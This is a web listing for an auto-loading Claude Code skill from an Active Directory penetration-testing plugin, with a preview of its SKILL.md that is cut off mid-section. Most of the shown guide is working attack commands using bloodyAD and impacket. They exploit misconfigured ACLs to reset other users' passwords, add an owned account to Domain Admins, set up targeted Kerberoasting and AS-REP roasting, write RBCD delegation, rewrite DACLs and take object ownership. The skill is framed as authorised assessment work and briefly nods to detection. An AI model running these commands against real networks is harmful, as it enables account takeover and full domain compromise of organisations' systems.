Skip to content
Security
Skill

/acl-abuse

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an

BOOST
From plugin
claude-ad
2128 skills3 agents3 commands
Install
$ npx -y skills add ADScanPro/Claude-AD --skill acl-abuse --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/acl-abuse

Context preview

The summary Claude sees to decide when to auto-load this skill.

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an

SKILL.md

acl-abuse.SKILL.md
name: acl-abuse
description: Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path.

ACL Abuse

Active Directory permissions are a graph. A single misconfigured Access Control Entry (ACE), say a low-priv user with `GenericAll` over a group, `WriteDacl` over a computer, or `WriteOwner` over an OU, is a directed edge you can walk from where you are toward Domain Admin. This skill turns those edges into concrete commands with **bloodyAD** and **impacket**, after **BloodHound CE** (Apache-2.0, genuinely open source) has drawn the path.

**Find the paths first (BloodHound CE).** Collect with a standard collector, import into BloodHound CE, and look at the outbound control edges from your owned principal: `GenericAll`, `GenericWrite`, `WriteDacl`, `Owns`/`WriteOwner`, `AddMember`, `ForceChangePassword`, `AllExtendedRights`, and `DCSync`. Pre-built queries like "Shortest paths from Owned principals" and "Find principals with DCSync rights" hand you the chain.

Collect edges with a standard collector, for example:

nxc ldap 10.0.0.10 -u user -p 'Password123' --bloodhound --collection All --dns-server 10.0.0.10

or run `rusthound-ce` / SharpHound CE and import the ZIP into BloodHound CE.

---

GenericAll

**MITRE ATT&CK:** T1222 (Permission Modification) / T1098 (Account Manipulation)

**What it is.** Full control over the target object. What you do with it depends on the target type:

  • **Over a user:** reset their password (ForceChangePassword) or set an SPN and Kerberoast them (targeted roasting), or set `DONT_REQ_PREAUTH` and AS-REP roast.
  • **Over a group:** add yourself as a member (AddMember).
  • **Over a computer:** write RBCD (`msDS-AllowedToActOnBehalfOfOtherIdentity`) and impersonate (see the Kerberos skill).

Reset a user's password:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set password TARGETUSER 'NewPass123!'

Add yourself to a group:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add groupMember 'Domain Admins' owneduser

Targeted Kerberoast (set an SPN you control, then roast, see Kerberos skill):

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set object TARGETUSER servicePrincipalName -v 'fake/svc'
GetUserSPNs.py -request-user TARGETUSER -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

---

GenericWrite

**MITRE ATT&CK:** T1098

**What it is.** Write non-protected attributes on the target. Enough to set an SPN (targeted Kerberoast), set `DONT_REQ_PREAUTH` (targeted AS-REP roast), or write `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer (RBCD). Not enough to reset the password directly on a user (that is ForceChangePassword / GenericAll).

Set the preauth-disabled flag for a targeted AS-REP roast:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add uac TARGETUSER -f DONT_REQ_PREAUTH
GetNPUsers.py -dc-ip 10.0.0.10 -request CORP.LOCAL/owneduser:'Password123'

Write RBCD on a computer you can then S4U through:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add rbcd TARGET$ EVIL$

---

ForceChangePassword

**MITRE ATT&CK:** T1098

**What it is.** The `User-Force-Change-Password` extended right lets you reset the target user's password without knowing the old one. Straight account takeover of that user.

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set password TARGETUSER 'NewPass123!'

impacket alternative:

net rpc password TARGETUSER 'NewPass123!' -U 'CORP.LOCAL/owneduser%Password123' -S 10.0.0.10

**Note:** resetting an in-use account is noisy and disruptive; it locks the real user out. Prefer targeted Kerberoast/AS-REP where the edge allows, and coordinate password resets with the client.

---

AddMember

**MITRE ATT&CK:** T1098

**What it is.** Write access to a group's `member` attribute. Add a principal you control to a privileged group (a nested group that eventually reaches Domain Admins is just as good).

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add groupMember 'Backup Operators' owneduser

---

WriteDACL

**MITRE ATT&CK:** T1222.001 (Windows Permission Modification)

**What it is.** You can rewrite the target's DACL, so you grant *yourself* whatever ACE you want (up to full control) and then exploit that. The common escalation is to grant yourself the replication rights on the domain object (setting up DCSync, see below) or GenericAll on a user/group.

Grant yourself an ACE on the target (impacket dacledit):

dacledit.py -action write -rights FullControl -principal owneduser \
  -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
  -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

bloodyAD equivalent (grant a right on an object):

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add genericAll 'CN=TargetUser,CN=Users,DC=corp,DC=local' owneduser

---

WriteOwner / Owns

**MITRE ATT&CK:** T1222.001

**What it is.** You can set yourself as the *owner* of the target object. The owner can always rewrite the DACL, so WriteOwner chains into WriteDACL into full control. Two steps: take ownership, then grant yourself rights.

Take ownership (impacket owneredit):

owneredit.py -action write -new-owner owneduser \
  -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
  -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

Then grant yourself full contr

Read more
Ships withclaude-ad

Active Directory pentest methodology for Claude Code. Skills, agents and commands that give Claude the playbook for an internal Active Directory assessment: the phase order, the environment constraints that break your tooling, the telemetry each technique

Get the whole plugin

Other skills on claude-ad.